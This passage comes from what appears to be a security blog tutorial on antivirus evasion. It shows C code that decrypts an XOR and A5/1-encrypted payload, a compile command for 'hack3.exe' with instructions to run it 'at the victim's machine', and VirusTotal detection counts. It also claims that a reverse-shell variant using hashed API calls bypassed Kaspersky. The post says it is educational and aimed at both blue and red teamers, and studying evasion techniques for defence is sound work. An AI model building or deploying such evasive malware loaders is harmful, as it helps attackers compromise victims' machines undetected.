for (int i = 0; i < pad_len; i++) {
  printf("%02x ", encrypted[i]);
}
printf("\n\n");

unsigned char decrypted[pad_len];
XOR((char *) encrypted, pad_len, my_secret_key, sizeof(my_secret_key));
a5_1_decrypt(key, key_len, encrypted, pad_len, decrypted);

printf("\ndecrypted message:\n");
for (int i = 0; i < pad_len; i++) {
  printf("%02x ", decrypted[i]);
}
printf("\n\n");

demo 3

Compile hack3.c:

x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

And run at the victim’s machine:

.\hack3.exe

As you can see, everything worked perfectly! =^..^=

Let’s go to upload this malware with combined encrypted payload to VirusTotal:

https://www.virustotal.com/gui/file/9f297cbd929a6a17d72d240fffff181a34a66db36737bbb4458af9b3beb01554/detection

As you can see, only 20 of 69 AV engines detect our file as malicious, we have reduced the number of AV engines which detect our malware from 21 to 20

Ok, calc entropy:

python3 entropy.py -f ./hack3.exe

Kaspersky AV evasion

So, as you may have noticed our samples uploaded to VirusTotal bypassed Kaspersky:

I decided to test this in practice: I replaced the payload with a reverse shell, add calling functions by hash names, some tricks with my own implementation of GetProcAddress and GetModuleHandle functions (which I will cover deeper in future posts) and ran it in my local laboratory:

As you can see, this combination bypass Kaspersky AV.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine